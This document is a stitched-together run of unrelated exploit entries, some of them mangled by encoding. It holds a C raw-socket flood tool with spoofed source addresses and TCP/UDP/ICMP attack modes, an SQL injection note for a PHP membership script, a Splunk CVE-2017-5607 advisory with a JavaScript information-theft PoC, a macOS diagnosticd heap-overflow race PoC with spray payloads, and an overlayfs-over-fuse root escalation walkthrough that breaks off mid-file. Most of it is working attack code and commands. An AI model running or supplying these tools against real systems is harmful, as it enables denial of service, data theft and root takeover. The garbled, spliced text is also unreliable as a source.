struct pseudo_hdr {
u_long saddr, daddr;
u_char mbz, ptcl;
u_short tcpl;
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct {
int gv;
int kv;
void (*f)(u_char);
} a_list[] =3D {
{ TCP_ACK, TH_ACK, send_tcp },
{ TCP_FIN, TH_FIN, send_tcp },
{ TCP_SYN, TH_SYN, send_tcp },
{ TCP_RST, TH_RST, send_tcp },
{ TCP_NOF, TH_NOF, send_tcp },
{ TCP_URG, TH_URG, send_tcp },
{ UDP_CFF, 0, send_udp },
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on =3D 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags =3D dstaddr =3D i =3D 0;
dst_sp =3D dst_ep =3D src_sp =3D src_ep =3D 0;
until =3D b_link =3D -1;
src_class =3D dst_class =3D NULL;
while ( (n =3D getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) !=3D -1) {
char *p;
switch (n) {
case 'T':
switch (atoi(optarg)) {
case 0: a_flags |=3D TCP_ACK; break;
case 1: a_flags |=3D TCP_FIN; break;
case 2: a_flags |=3D TCP_RST; break;
case 3: a_flags |=3D TCP_SYN; break;
case 4: a_flags |=3D TCP_URG; break;
}
break;
case 'U':
a_flags |=3D UDP_CFF;
break;
case 'I':
a_flags |=3D ICMP_ECHO_G;
break;
case 'N':
a_flags |=3D TCP_NOF;
break;
case 's':
src_class =3D optarg;
break;
case 'h':
dstaddr =3D lookup(optarg);
break;
case 'd':
dst_class =3D optarg;
i =3D 1;
break;
case 'p':
if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL)
usage(argv[0]);
dst_sp =3D atoi(optarg);
dst_ep =3D atoi(p +1);
break;
case 'q':
if ( (p =3D (char *) strchr(optarg, ',')) =3D=3D NULL)
usage(argv[0]);
src_sp =3D atoi(optarg);
src_ep =3D atoi(p +1);
break;
case 'l':
b_link =3D atoi(optarg);
if (b_link <=3D 0 || b_link > 100)
usage(argv[0]);
break;
case 't':
until =3D time(0) +atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
(src_sp !=3D 0 && src_sp > src_ep) ||
(dst_sp !=3D 0 && dst_sp > dst_ep))
usage(argv[0]);
srandom(time(NULL) ^ getpid());
if ( (rawsock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family =3D AF_INET;
for (n =3D 0; ; ) {
if (b_link !=3D -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i =3D 0; a_list[i].f !=3D NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
if (n++ =3D=3D 100) {
if (until !=3D -1 && time(0) >=3D until) break;
n =3D 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp =3D gethostbyname(host)) =3D=3D NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i =3D 0, j =3D 0; class[i] !=3D '{TEXTO}'; ++i)
if (class[i] =3D=3D '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft =3D len;
int sum =3D 0;
unsigned short *w =3D addr;
unsigned short answer =3D 0;
while (nleft > 1) {
sum +=3D *w++;
nleft -=3D 2;
}
if (nleft =3D=3D 1) {
*(unsigned char *) (&answer) =3D *(unsigned char *)w;
sum +=3D answer;
}
sum =3D (sum >> 16) + (sum & 0xffff);
sum +=3D (sum >> 16);
answer =3D ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl =3D 5;
ip->ip_v =3D 4;
ip->ip_p =3D p;
ip->ip_tos =3D 0x08; /* 0x08 */
ip->ip_id =3D random();
ip->ip_len =3D len;
ip->ip_off =3D 0;
ip->ip_ttl =3D 255;
ip->ip_dst.s_addr =3D dst_class !=3D NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr =3D src_class !=3D NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr =3D ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr =3D dstaddr;
cksum.pseudo.mbz =3D 0;
cksum.pseudo.ptcl =3D IPPROTO_TCP;
cksum.pseudo.tcpl =3D htons(sizeof(struct tcphdr));
cksum.pseudo.saddr =3D packet.ip.ip_src.s_addr;
packet.tcp.th_flags =3D random();
packet.tcp.th_win =3D random();
packet.tcp.th_seq =3D random();
packet.tcp.th_ack =3D random();
packet.tcp.th_off =3D 5;
packet.tcp.th_urp =3D 0;
packet.tcp.th_sport =3D CHOOSE_SRC_PORT();
packet.tcp.th_dport =3D CHOOSE_DST_PORT();
cksum.tcp =3D packet.tcp;
packet.tcp.th_sum =3D in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport =3D CHOOSE_SRC_PORT();
packet.udp.uh_dport =3D CHOOSE_DST_PORT();
packet.udp.uh_ulen =3D htons(sizeof packet.udp);
packet.udp.uh_sum =3D 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type =3D ICMP_ECHO;
packet.icmp.icmp_code =3D 0;
packet.icmp.icmp_cksum =3D htons( ~(ICMP_ECHO << 8));
for(int pp=3D0;pp<=3D1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\=
n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m=
\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0=
m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;=
37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;3=
7m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[=
0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\=
n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom=
\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m=
\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n=
");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n")=
;
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0)=
;
exit(-1);
}
# # # # #
# Exploit Title: Membership Formula - Best Membership Site PHP Script - SQL Injection
# Google Dork: N/A
# Date: 31.03.2017
# Vendor Homepage: http://www.zeescripts.com/
# Software: http://www.zeescripts.com/store/membership-formula-v1.0-best-membership-site-php-script.html
# Demo: http://www.zeemember.com/demo/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/members/member.area.directory.php?order=[SQL]
# members:id
# members:first_name
# members:last_name
# members:email
# members:password
# # # # #
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SPLUNK-ENTERPRISE-INFORMATION-THEFT.txt
[+] ISR: ApparitionSec
Vendor:
===============
www.splunk.com
Product:
==================
Splunk Enterprise
Splunk provides the leading platform for Operational Intelligence. Customers use Splunk to search, monitor, analyze
and visualize machine data. Splunk Enterprise, collects and analyzes high volumes of machine-generated data.
Vulnerability Type:
==================================
Javascript (JSON) Information Theft
CVE Reference:
==============
CVE-2017-5607
Security Issue:
================
Attackers can siphon information from Splunk Enterprise if an authenticated Splunk user visits a malicious webpage.
Some useful data gained is the currently logged in username and if remote user setting is enabled. After, the username
can be use to Phish or Brute Force Splunk Enterprise login. Additional information stolen may aid in furthering attacks.
Root cause is the global Window JS variable assignment of config?autoload=1 '$C'.
e.g.
window.$C = {"BUILD_NUMBER": 207789, "SPLUNKD_PATH"... etc... }
To steal information we simply can define a function to be called when the '$C' JS property is "set" on webpage, for example.
Object.defineProperty( Object.prototype, "$C", { set:function(val){...
The Object prototype is a Object that every other object inherits from in JavaScript, if we create a setter on the name of our target
in this case "$C", we can get/steal the value of this data, in this case it is very easy as it is assigned to global Window namespace.
Affected Splunk Enterprise versions:
6.5.x before 6.5.3
6.4.x before 6.4.6
6.3.x before 6.3.10
6.2.x before 6.2.13.1
6.1.x before 6.1.13
6.0.x before 6.0.14
5.0.x before 5.0.18 and Splunk Light before 6.5.2
Vulnerability could allow a remote attacker to obtain logged-in username and Splunk version-related information via JavaScript.
References:
=============
https://www.splunk.com/view/SP-CAAAPZ3
https://www.splunk.com/view/SP-CAAAPZ3#InformationLeakageviaJavaScriptCVE20175607
Exploit/POC:
=============
Reproduction:
1) Log into Splunk
2) place the below Javascript in webpage on another server.
"Splunk-Data-Theft.html"
<script>
Object.defineProperty( Object.prototype, "$C", { set:function(val){
//prompt("Splunk Timed out:\nPlease Login to Splunk\nUsername: "+val.USERNAME, "Password")
for(var i in val){
alert(""+i+" "+val[i]);
}
}
});
</script>
<script src="https://VICTIM-IP:8000/en-US/config?autoload=1"></script>
3) Visit the server hosting the "Splunk-Data-Theft.html" webpage, grab current authenticated user
4) Phish or brute force the application.
Video POC URL:
===============
https://vimeo.com/210634562
Network Access:
===============
Remote
Impact:
=======================
Information Disclosure
Severity:
=========
Medium
Disclosure Timeline:
===================================================
Vendor Notification: November 30, 2016
Vendor Acknowledgement: December 2, 2016
Vendor Release Splunk 6.5.3 / Patch : March 30, 2017
March 31, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1083
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
/*
macOS/IOS: mach_msg: doesn't copy memory
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
#include <stdint.h>
#include <stdio.h>
#include <xpc/xpc.h>
#include <assert.h>
#include <iostream>
#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <printf.h>
#include <dispatch/dispatch.h>
#include <vector>
#include <chrono>
#include <thread>
struct RaceContext {
std::vector<uint8_t> payload;
size_t race_offset;
std::vector<uint8_t> spray;
size_t spray_size;
};
xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);
double now() {
return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
}
mach_port_t createMemoryEntry(memory_object_size_t size) {
vm_address_t addr = 0;
vm_allocate(mach_task_self(), &addr, size, true);
memset((void*)addr, 0, size);
mach_port_t res = 0;
mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0);
vm_deallocate(mach_task_self(), addr, size);
return res;
}
void sendPayload(const RaceContext* ctx) {
size_t data_size = ctx->spray_size;
mach_port_t mem_entry = createMemoryEntry(data_size);
uint8_t* data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
memcpy(data, &ctx->payload[0], ctx->payload.size());
for (size_t i = 0x1000; i < data_size; i += 0x1000) {
memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
}
for (int32_t i = 0; i < 0x4000; i++) {
double start = now();
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
double duration = now() - start;
printf("duration: %f\n", duration);
if (duration > 2.0) {
xpc_release(client);
break;
}
mach_port_t service_port = ((uint32_t*)client)[15];
void* msg_data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
struct {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
} m = {};
m.hdr.msgh_size = sizeof(m);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
m.hdr.msgh_id = 0x10000000;
m.body.msgh_descriptor_count = 1;
m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
m.ool_desc.address = msg_data;
m.ool_desc.size = (mach_msg_size_t)data_size;
m.ool_desc.deallocate = 1;
m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;
bool stop = true;
std::thread syncer([&] {
while (stop);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
stop = true;
});
size_t race_offset = ctx->race_offset;
__uint128_t orig = *(__uint128_t*)&data[race_offset];
__uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";
mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
stop = false;
while (!stop) {
*(__uint128_t*)&data[race_offset] = orig;
*(__uint128_t*)&data[race_offset] = new_one;
}
syncer.join();
*(__uint128_t*)&data[race_offset] = orig;
xpc_release(client);
}
mach_port_deallocate(mach_task_self(), mem_entry);
}
const void* memSearch(const void* base, const void* data, size_t size) {
const uint8_t* p = (const uint8_t*)base;
for (;;) {
if (!memcmp(p, data, size))
return p;
p++;
}
}
void* getLibraryAddress(const char* library_name) {
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return 0;
}
void initRace(RaceContext* ctx) {
struct FakeObject {
void* unk[2];
void* ref_to_bucket;
void* padd[0x10];
struct {
const void* sel;
const void* func;
} bucket;
};
const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000};
const size_t kTagOffset = 0x954;
const uintptr_t kSprayedAddr = 0x120101010;
//ctx->data.resize(0x10000);
ctx->payload.resize(0x1000);
ctx->race_offset = kTagOffset - 0x10;
memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData));
*(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr;
ctx->spray.resize(0x300);
ctx->spray_size = 1024 * 1024 * 512;
void* libdispatch = getLibraryAddress("libdispatch.dylib");
FakeObject* predict = (FakeObject*)kSprayedAddr;
FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff];
obj->ref_to_bucket = &predict->bucket;
obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14);
obj->bucket.func = (void*)0x9999;
}
int32_t main() {
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
RaceContext ctx;
initRace(&ctx);
printf("attach the debugger to diagnosticd\n");
getchar();
sendPayload(&ctx);
return 0;
}
Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/
## Introduction
Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk.
## Methods
Basic exploitation sequence is:
- Mount fuse filesystem exposing one world writable SUID binary
- Create USERNS
- Mount overlayfs on top of fuse
- Open the SUID binary RDWR in overlayfs, thus triggering copy_up
This can be archived, e.g.
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test# mkdir fuse
test# mv SuidExec RealFile
test# ./FuseMinimal fuse
test# ./UserNamespaceExec -- /bin/bash
root# mkdir mnt upper work
root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt
root# touch mnt/file
touch: setting times of ‘mnt/file’: Permission denied
root# umount mnt
root# exit
test# fusermount -u fuse
test# ls -al upper/file
-rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file
test# upper/file /bin/bash
root# id
uid=0(root) gid=100(users) groups=100(users)
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
